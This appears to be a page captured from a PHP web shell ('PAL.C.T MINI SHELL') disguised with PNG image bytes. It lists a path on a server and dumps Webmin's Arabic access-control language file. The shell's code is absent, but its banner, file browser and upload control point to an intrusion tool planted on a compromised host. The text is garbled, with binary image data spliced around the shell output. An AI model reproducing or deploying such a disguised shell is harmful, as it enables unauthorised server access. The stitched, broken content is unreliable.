php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/ar.auto

index_screate=إنشاء مستخدم آمن جديد.

edit_title=تحرير Webmin المستخدم
edit_title2=إنشاء مستخدم Webmin
edit_title3=إنشاء آمنة Webmin المستخدم
edit_readonly=This Webmin user should not be edited as it is managed by the $1 module. <a href='$2'>Click here</a> to bypass this warning and edit the user anyway - but beware that any manual changes may be over-written!
edit_rights=Webmin حقوق وصول المستخدم
edit_cloneof=استنساخ المستخدم Webmin
edit_real=الاسم الحقيقي
edit_group=عضو في المجموعة
edit_pass=كلمه السر
edit_same=نفس يونيكس
edit_lock=لا كلمة المرور مقبولة
edit_pam=مصادقة PAM
edit_extauth=برنامج التوثيق الخارجي
edit_dont=لا تغير
edit_set=ضبط ل
edit_passlocked=Password has not been changed for $1 days - account locked!
edit_passmax=Password has not been changed for $1 days - must be changed at next login
edit_passold=Password was last changed $1 days ago
edit_passtoday=تم تغيير كلمة المرور منذ أقل من يوم
edit_modules=وحدات
edit_clone=استنساخ
edit_twofactor=نوع عامل التوثيق
edit_twofactorprov=Using provider $1 with ID $2
edit_twofactorcancel=إزالة متطلبات المصادقة ثنائية
edit_twofactornone=لا شيء الإعداد بعد
edit_twofactoradd=تمكين عامل اثنين للمستخدم
edit_lang=لغة
edit_notabs=تصنيف الوحدات؟
edit_logout=وقت تسجيل الخمول
edit_mins=الدقائق
edit_chars=حروف
edit_minsize=الحد الأدنى لطول كلمة المرور
edit_nochange=فرض تغيير كلمة المرور أيام؟
edit_cert=اسم شهادة SSL
edit_none=لا شيء
edit_ips=التحكم في الوصول IP
edit_all=السماح من جميع العناوين
edit_allow=السماح فقط من العناوين المدرجة
edit_deny=رفض من العناوين المدرجة
edit_ipdesc=يعمل التحكم في الوصول إلى IP للمستخدم بنفس طريقة التحكم في الوصول إلى IP العام في الوحدة النمطية لتكوين Webmin. فقط في حالة قيام المستخدم بتمرير الضوابط العامة ، سيتم فحص تلك هنا أيضًا.
edit_skill=مستوى المهارة
edit_risk=مستوى الخطر
edit_risk_high=سوبر المستخدم
edit_risk_medium=مستخدم المسؤول
edit_risk_low=مستخدم عادي
edit_groupmods=(بالإضافة إلى وحدات من المجموعة)
edit_euser=غير مسموح لك بتحرير هذا المستخدم
edit_egone=المستخدم المحدد لم يعد موجودًا!
edit_ecreate=غير مسموح لك بإنشاء مستخدمين
edit_theme=موضوع واجهة المستخدم الشخصية
edit_themeglobal=من Webmin التكوين
edit_themedef=موضوع Webmin القديم
edit_overlay=تراكب السمات الشخصية
edit_overlayglobal=بلا - استخدم الإعدادات الافتراضية للسمة
edit_log=عرض السجلات
edit_selall=اختر الكل
edit_invert=اختيار المقلوب
edit_hide=إخفاء غير المستخدمة
edit_switch=التبديل إلى المستخدم
edit_return=Webmin المستخدم
edit_return2=مجموعة Webmin
edit_rbacdeny=وضع الوصول RBAC
edit_rbacdeny0=يتحكم RBAC فقط في قوائم ACL المحددة
edit_rbacdeny1=RBAC يتحكم في جميع الوحدات و ACLs
edit_global=أذونات لجميع الوحدات
edit_templock=مقفل للوقت الحالي
edit_temppass=تغيير القوة عند تسجيل الدخول المقبل
edit_days=أيام المسموح بها من الأسبوع
edit_alldays=كل يوم
edit_seldays=الأيام المحددة فقط..
edit_hours=الأوقات المسموح بها من اليوم
edit_allhours=في اي وقت
edit_selhours=From $1:$2 to $3:$4
edit_ui=خيارات واجهة المستخدم
edit_security=خيارات الأمن والحدود
edit_mods=وحدات Webmin المتاحة
edit_modsg=الوحدات النمطية Webmin المتوفرة (بالإضافة إلى الوحدات من المجموعة)
edit_proto=قوي
edit_proto_mysql=الخلية قاعدة البيانات
edit_proto_postgresql=قاعدة بيانات PostgreSQL
edit_proto_ldap=خادم LDAP
edit_proto_=ملفات محلية
edit_safe=مستوى الامتياز
edit_safe0=مطلق
edit_safe1=وحدات آمنة فقط
edit_unsafe=إعادة التعيين إلى غير المقيد

save_err=فشل في حفظ المستخدم
save_ename='$1' is not a valid username
save_eunixname=The username '$1' is not a Unix user, and so cannot be used in safe mode
save_enamewebmin=اسم المستخدم "webmin" محجوز للاستخدام الداخلي
save_edup=The username '$1' is already in use
save_eoverlay=لا يمكن تحديد تراكب السمة ما لم يكن السمة محددة
save_edeny=لا يمكنك حرمان نفسك من الوصول إلى وحدة مستخدمي Webmin
save_eos=خيار كلمة المرور مثل Unix غير مدعوم على نظام التشغيل الخاص بك.
save_emd5=لا يمكن استخدام خيار كلمة مرور مماثل لـ Unix على الأنظمة التي بها تشفير MD5
save_eunix=The Unix user '$1' does not exist
save_emod=You cannot grant access to module '$1'
save_ecreate=غير مسموح لك بإنشاء مستخدمين
save_euser=غير مسموح لك بتحرير هذا المستخدم
save_ecolon=لا يمكن أن تحتوي كلمات المرور على: الحرف
save_epass=Password is not valid : $1
save_eself=Your current IP address ($1) would be denied
save_epam=مصادقة PAM غير متاحة لأن وحدة <l>Authen::PAM</l> بيرل غير مثبتة أو لا تعمل بشكل صحيح.
save_epam2=You can use Webmin's Perl Modules module to <a href='$1'>download and install Authen::PAM</a> now.
save_egroup=غير مسموح لك بتعيين هذه المجموعة
save_enone=لم يتم إدخال عناوين
save_enet='$1' is not a valid network address
save_emask='$1' is not a valid netmask
save_eip='$1' is not a complete IP or network address
save_ehost=Failed to find IP address for '$1'
save_elogouttime=وقت تسجيل الخروج أو الخمول غير الرقمي
save_eminsize=الحد الأدنى لطول كلمة المرور المفقودة أو غير الرقمية
save_edays=لا أيام للسماح المحدد
save_ehours=أوقات مفقودة أو غير صالحة للسماح بها
save_ehours2=يجب أن يكون وقت البدء للسماح قبل النهاية
save_etemp=The option to force a password change at next login cannot be used unless <a href='$1'>prompting users to enter new passwords</a> is enabled

cert_title=طلب شهادة
cert_msg=يسمح لك هذا النموذج بطلب شهادة عميل SSL والتي سيتم استخدامها في المستقبل لمنحك حق الوصول إلى Webmin بدلاً من اسم المستخدم وكلمة المرور الخاصة بك. هذا أكثر أمانًا ، ولكن نظرًا لأن المصادقة تلقائية ، فلن تتمكن من التبديل إلى مستخدم مختلف عند استخدام الشهادة.
cert_ou=قسم
cert_ekey=لم يقدم متصفحك مفتاح SSL جديدًا - ربما لا يدعم شهادات عميل SSL.

log_modify=Modified Webmin user $1
log_rename=Renamed Webmin user $1 to $2
log_create=Created Webmin user $1
log_clone=Cloned Webmin user $1 to $2
log_delete=Deleted Webmin user $1
log_acl=Updated access for $1 in $2
log_reset=Reset access for $1 in $2
log_cert=Issued certificate for user $1
log_modify_g=Modified Webmin group $1
log_rename_g=Renamed Webmin group $1 to $2
log_create_g=Created Webmin group $1
log_delete_g=Deleted Webmin group $1
log_switch=Switched to Webmin user $1
log_delete_users=Deleted $1 Webmin users
log_delete_groups=Deleted $1 Webmin groups
log_joingroup=Added $1 Webmin users to group $2
log_pass=تم تغيير قيود كلمة المرور
log_unix=تغيير مصادقة المستخدم يونيكس
log_sync=تغيير تزامن المستخدم يونيكس
log_sql=تم تغيير قاعدة بيانات المستخدم والمجموعة
log_twofactor=Enrolled user $1 with two-factor provider $2
log_onefactor=Dis-enrolled user $1 for two-factor authentication

gedit_ecannot=غير مسموح لك بتحرير المجموعات
gedit_title=تحرير Webmin Group
gedit_title2=إنشاء مجموعة Webmin
gedit_group=أسم المجموعة
gedit_rights=حقوق الوصول إلى مجموعة Webmin
gedit_modules=وحدات الأعضاء
gedit_members=الأعضاء والمجموعات الأعضاء
gedit_desc=وصف المجموعة
gedit_egone=المجموعة المختارة لم تعد موجودة!

gdelete_err=فشل في حذف المجموعة
gdelete_ecannot=غير مسموح لك بحذف المجموعات
gdelete_euser=لا يمكنك حذف مجموعتك الخاصة

gdelete_esub=لا يمكن حذف المجموعات ذات المجموعات الفرعية
gdelete_title=حذف المجموعة
gdelete_desc=Are you sure you want to delete the group $1 and its member users $2 ?
gdelete_ok=حذف المجموعة

gsave_err=فشل في حفظ المجموعة
gsave_ename=اسم المجموعة مفقود أو غير صالح
gsave_enamewebmin=اسم المجموعة "webmin" محجوز للاستخدام الداخلي
gsave_edup=اسم المجموعة قيد الاستخدام بالفعل
gsave_edesc=وصف غير صالح - الحرف: غير مسموح به

convert_title=تحويل المستخدمين
convert_ecannot=غير مسموح لك بتحويل مستخدم Unix
convert_desc=يسمح لك هذا النموذج بتحويل مستخدمي Unix الحاليين إلى مستخدمي Webmin. سيتم تحديد أذونات كل مستخدم Webmin جديد بواسطة المجموعة المحددة أدناه.
convert_group=تعيين مستخدمين جدد لمجموعة Webmin
convert_sync2=مزامنة كلمة المرور مع مستخدم يونكس في المستقبل؟
convert_ok=تحويل الآن
convert_eusers=لا يوجد مستخدمين لتحويل دخل
convert_egroup=مجموعة يونيكس غير موجودة
convert_emin=معرف UID غير صالح
convert_emax=أقصى معرف غير صالح
convert_ewgroup=لا توجد مجموعة Webmin هذه
convert_ewgroup2=غير مسموح لك بتعيين مستخدمين جدد لهذه المجموعة
convert_skip=$1 being skipped
convert_exists=$1 already exists
convert_invalid=$1 is not a valid Webmin username
convert_added=$1 being added
convert_msg=تحويل مستخدمي يونكس...
convert_user=مستخدم يونيكس
convert_action=تم اتخاذ فعل
convert_done=$1 users converted, $2 invalid, $3 already exist, $4 excluded.
convert_users=المستخدمين لتحويل

sync_title=يونكس تزامن المستخدم
sync_desc=يتيح لك هذا النموذج تكوين المزامنة التلقائية لمستخدمي يونكس التي تم إنشاؤها من خلال Webmin والمستخدمين في هذه الوحدة.
sync_when=متى تزامن
sync_create=قم بإنشاء مستخدم Webmin عند إنشاء مستخدم Unix.
sync_update=قم بتحديث مستخدم Webmin المطابق عند تحديث مستخدم Unix.
sync_delete=حذف مستخدم Webmin المطابق عند حذف مستخدم Unix.
sync_modify=أعد تسمية مستخدم Webmin المطابق عند إعادة تسمية مستخدم Unix.
sync_group=تعيين مستخدمين جدد لمجموعة Webmin
sync_unix=تعيين كلمة مرور للمستخدمين الجدد لمصادقة يونكس.
sync_ecannot=غير مسموح لك بتكوين مزامنة المستخدم.

unix_err=فشل في حفظ مصادقة يونكس
unix_desc=تسمح لك هذه الصفحة بتكوين Webmin للتحقق من محاولات تسجيل الدخول مقابل قائمة مستخدمي النظام و PAM. قد يكون ذلك مفيدًا إذا كان لديك عدد كبير من مستخدمي Unix الحاليين الذين تريد منحهم حق الوصول إلى Webmin.
unix_def=السماح فقط لمستخدمي Webmin بتسجيل الدخول
unix_sel=السماح لمستخدمي يونكس المدرجة أدناه بتسجيل الدخول..
unix_mode=السماح
unix_mall=جميع المستخدمين
unix_group=أعضاء المجموعة..
unix_ecannot=غير مسموح لك بتكوين مصادقة مستخدم Unix
unix_epam=مصادقة Unix غير متوفرة لأن <tt>Authen::PAM</tt> لم يتم تثبيت وحدة Perl أو أنها لا تعمل بشكل صحيح.
unix_all=السماح لجميع مستخدمي يونكس
unix_allow=السماح فقط لمستخدمي يونكس المدرجة
unix_deny=رفض المستخدمين المدرجة يونيكس
unix_none=لم يدخل المستخدمون
unix_euser='$1' is not a valid username
unix_egroup='$1' is not a valid group name
unix_shells=رفض مستخدمي يونكس الذين لا توجد ملفات في ملفاتهم
unix_eshells=ملف shells مفقود أو غير موجود
unix_restrict2=قيود إضافية
unix_ewhogroup=Missing group to allow in row $1
unix_ewhouser=Missing user to allow in row $1
unix_enone=لا يوجد مستخدمون أو مجموعات يونكس للسماح بالدخول
unix_same=&lt;نفس المستخدم أو المجموعة&gt;
unix_sudo=اسمح للمستخدمين الذين يمكنهم تشغيل جميع الأوامر عبر <tt>sudo</tt> بتسجيل الدخول باسم <tt>root</tt>
unix_pamany=Treat logins that only pass PAM validation as $1
unix_esudo=The $1 command is not installed
unix_esudomod=The Perl module $1 needed for <tt>sudo</tt> authentication is not installed
unix_header=يونيكس إعدادات مصادقة المستخدم

sessions_title=جلسات تسجيل الدخول الحالية
sessions_id=معرف جلسة العمل
sessions_user=Webmin المستخدم
sessions_login=آخر نشاط في
sessions_host=عنوان IP
sessions_lview=عرض السجلات..
sessions_actions=أجراءات..
sessions_all=كل الجلسات..
sessions_logouts=اعرض أيضًا جلسات تسجيل الخروج..
sessions_state=حالة
sessions_this=هذا تسجيل الدخول
sessions_in=تسجيل الدخول
sessions_out=تسجيل الخروج
sessions_kill=قطع الاتصال..

logins_title=تسجيلات Webmin الأخيرة

hide_title=إخفاء الوحدات غير المستخدمة
hide_desc=The following modules will be removed from the module access list for $1 as their corresponding servers are not installed on your system ..
hide_ok=إخفاء الوحدات النمطية الآن
hide_none=Nothing to hide - $1 does not have access to any modules whose corresponding servers are not installed on your system.
hide_desc2=كن على علم بأن هذه الوحدات لن تظهر تلقائيًا في حالة تثبيت الخوادم المقابلة. ستحتاج إلى منح حق الوصول يدويًا باستخدام هذه الوحدة.
hide_clone=(Clone $1)

switch_euser=غير مسموح لك بالتبديل إلى هذا المستخدم
switch_eold=الجلسة الحالية غير موجودة!

rbac_title=إعداد RBAC
rbac_esolaris=RBAC is only supported on Solaris at the moment, and so cannot be used on this $1 system.
rbac_eperl=The Perl module $1 needed for RBAC integration is not installed. <a href='$2'>Click here</a> to have it installed now.
rbac_ecpan=You do not have access to Webmin's Perl Modules page in order to install the necessary $1 module for RBAC integration.
rbac_ok=يتوفر تكامل RBAC على هذا النظام ، ويمكن تمكينه لكل مستخدم على صفحة تحرير مستخدم الويب.

udeletes_err=فشل في حذف المستخدمين
udeletes_jerr=أخفق إضافة مستخدمين إلى المجموعة
udeletes_enone=لا شيء محدد
udeletes_title=حذف المستخدمين
udeletes_rusure=Are you sure you want to delete the $1 selected users? All of their access control settings and user details will be lost.
udeletes_users=Selected users: $1
udeletes_ok=حذف المستخدمين
udeletes_ereadonly=تم تمييز أحد المستخدمين المحددين على أنه غير قابل للتحرير

gdeletes_err=فشل في حذف المجموعات
gdeletes_title=حذف المجموعات
gdeletes_rusure=Are you sure you want to delete the $1 selected groups, and the $2 users they contain? All of their access control settings and user details will be lost.
gdeletes_users=Selected groups: $1
gdeletes_ok=حذف المجموعات

pass_title=قيود كلمة المرور
pass_ecannot=غير مسموح لك بتحرير قيود كلمة المرور
pass_header=خيارات تنفيذ كلمة مرور Webmin
pass_minsize=الحد الأدنى لطول كلمة المرور
pass_nominsize=لا يوجد حد أدنى
pass_regexps=يجب أن تتطابق كلمات مرور التعبيرات العادية
pass_regdesc=وصف مقروء للإنسان للتعبير المنتظم
pass_maxdays=يجب تغيير كلمة المرور قبل أيام
pass_lockdays=قبل أيام من تغيير كلمة المرور حساب تأمين
pass_nomaxdays=التغيير غير مطلوب أبدا
pass_nolockdays=الحساب غير مؤمن
pass_nouser=عدم السماح بكلمات المرور التي تحتوي على اسم المستخدم؟
pass_nodict=عدم السماح بكلمات مرور كلمة القاموس؟
pass_oldblock=عدد كلمات المرور القديمة التي يجب رفضها
pass_nooldblock=لا يوجد حد لإعادة استخدام كلمة المرور
pass_days=أيام
pass_pass=كلمات السر
pass_err=فشل في حفظ قيود كلمة المرور
pass_eminsize=الحد الأدنى لطول كلمة المرور المفقودة أو غير الرقمية
pass_emaxdays=عدد الأيام المفقودة أو غير العددية قبل التغيير
pass_elockdays=عدد الأيام المفقودة أو غير الرقمية قبل قفل الحساب
pass_eoldblock=عدد كلمات المرور القديمة أو غير العددية التي يجب رفضها

cpass_minsize=Must be at least $1 letters long
cpass_notre=يطابق نمط غير مسموح به
cpass_re=لا يطابق النمط المطلوب
cpass_name=يحتوي على اسم المستخدم
cpass_dict=هي كلمة القاموس
cpass_spellcmd=Neither the $1 or $2 commands needed to check for dictionary words is installed
cpass_old=لا يمكن إعادة استخدام كلمات المرور القديمة

sql_title=قاعدة بيانات المستخدم والمجموعة
sql_ecannot=غير مسموح لك بتكوين قاعدة بيانات المستخدم والمجموعة
sql_header=خيارات لقاعدة البيانات الخلفية للمستخدمين والمجموعات
sql_host=اسم المضيف
sql_user=اسم المستخدم
sql_pass=كلمه السر
sql_db=اسم قاعدة البيانات
sql_ssl=تشفير الاتصال
sql_ssl0=لا شيء
sql_ssl1=SSL
sql_ssl2=TLS
sql_userclass=فئة الكائن للمستخدمين
sql_groupclass=فئة الكائن للمجموعات
sql_euserclass=فئة كائن مفقودة أو غير صالحة للمستخدمين
sql_egroupclass=فئة كائن مفقودة أو غير صالحة للمجموعات
sql_none=استخدم الملفات المحلية فقط لتخزين المستخدمين والمجموعات
sql_mysql=استخدام قاعدة بيانات الخلية
sql_postgresql=استخدام قاعدة بيانات PostgreSQL
sql_ldap=استخدام خادم LDAP
sql_prefix=إنشاء تحت DN
sql_addto0=إضافة مستخدمين جدد إلى قاعدة البيانات المحددة أعلاه
sql_addto1=إضافة مستخدمين جدد إلى الملفات المحلية
sql_nocache0=اتصالات ذاكرة التخزين المؤقت لقاعدة البيانات
sql_nocache1=افتح اتصالًا جديدًا لكل عملية بحث
sql_emod=Missing required Perl module <tt>$1</tt>
sql_etable=Failed to query required table $1 : $2
sql_eldapdn=Base LDAP DN $1 was not found
sql_eclass=LDAP object class $1 does not exist in the server's schema
sql_err=فشل في حفظ إعدادات قاعدة بيانات المستخدم والمجموعة
sql_ehost=اسم مضيف مفقود أو غير قابل للحل
sql_euser=اسم مستخدم مفقود أو غير صالح (لا توجد مسافات مسموح بها)
sql_epass=كلمة مرور غير صالحة (لا توجد مسافات مسموح بها)
sql_edb=اسم قاعدة البيانات غير صالح (لا توجد مسافات مسموح بها)
sql_eprefix=قاعدة DN مفقودة أو غير صالحة (لا توجد مسافات مسموح بها)
sql_eprefix2=الاسم الأساسي غير صالح المظهر - يجب أن يكون مثل <tt>dc = mydomain ، dc = com</tt>
sql_title2=إنشاء الجداول المفقودة
sql_tableerr=User and group database settings are valid, but some tables needed by Webmin are missing : $1
sql_tableerr2=انقر فوق الزر <b>إنشاء جداول</b> أدناه لإنشاءها تلقائيًا ، أو قم بتشغيل SQL أدناه يدويًا.
sql_make=إنشاء الجداول
sql_title3=إنشاء مفقود DN
sql_dnerr=User and group database settings are valid, but the LDAP DN needed by Webmin is missing : $1
sql_dnerr2=انقر فوق الزر <b>إنشاء DN</b> أدناه لتنشئه تلقائيًا أو أضفه إلى خادم LDAP يدويًا.
sql_makedn=إنشاء DN
sql_schema=تنزيل مخطط LDAP
sql_timeout_def=استخدام مهلة الاتصال الافتراضية (60 ثانية)
sql_timeout_for=إغلاق الاتصالات المخبأة بعد
sql_timeout_secs=ثواني
sql_etimeout=يجب أن تكون مهلة الاتصال المخزنة مؤقتًا رقمًا
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`